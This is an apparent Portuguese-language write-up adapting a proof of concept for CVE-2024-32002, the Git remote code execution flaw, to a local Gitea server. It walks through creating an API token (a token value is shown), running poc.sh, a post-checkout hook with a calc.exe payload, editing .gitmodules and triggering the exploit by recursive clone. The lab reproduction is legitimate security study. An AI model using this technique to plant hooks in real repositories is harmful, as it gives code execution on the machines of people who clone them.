
adaptando o CVE-2024-32002 para execução offline e local
seguimos esta postagem de blog mas com algumas diferenças-chave https://amalmurali.me/posts/git-rce
git_rce) inclui um submódulo com um caminho especialmente criado..git/, que contém um hook malicioso.⚠️ Aviso: Não execute este PoC em sistemas que você não possui ou não tem permissão explícita para usar. Testes não autorizados podem resultar em consequências indesejadas.
precisamos criar um token de API para o gitea, que pode ser encontrado em http://<YOUR_GITEA_SERVER_IP>:3000/user/settings/applications
eu dei ao token acesso a tudo para garantir que tudo funcionasse
então podemos executar nosso poc.sh garantindo fornecer a ele as informações solicitadas, como o endereço IP e a porta do servidor gitea, o nome de usuário e o token para criar os repositórios
Enter the IP address or FQDN (without http://): localhost:3000
Enter your username: chris
Enter your API token: 3c57dbe1756734612f457b1fa08583df64fb5ea4
Enter the name for the first repository: hook
Enter the name for the second repository: main
também precisamos editar as linhas 42-46 para conter o payload
# Write the malicious code to a hook
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
calc.exe #or replace with other poc
EOF
há mais uma etapa: devemos ir ao arquivo .gitmodules do repositório main para o hook. Eu fui manualmente ao repositório no gitea e alterei o arquivo

e então isso fez isto
[submodule "x/y"]
path = A/modules/x
url = http://<your_git_tea_server>:3000/chris/hook.git
garantindo que quando eu fosse em A/modules pudesse ver algo como isto

então clicar nesse commit deve mostrar o outro repositório com o conteúdo do POC quando você clicar nele
então podemos pegar nossa URL e isso deve funcionar para acionar o exploit
git clone --recursive http://<your_git_tea_server>:3000/<your_user_name>/main.git
Créditos a filip-hejsek e amalmurali47 por descobrirem esta vulnerabilidade e terem uma postagem de blog e repositório para adaptar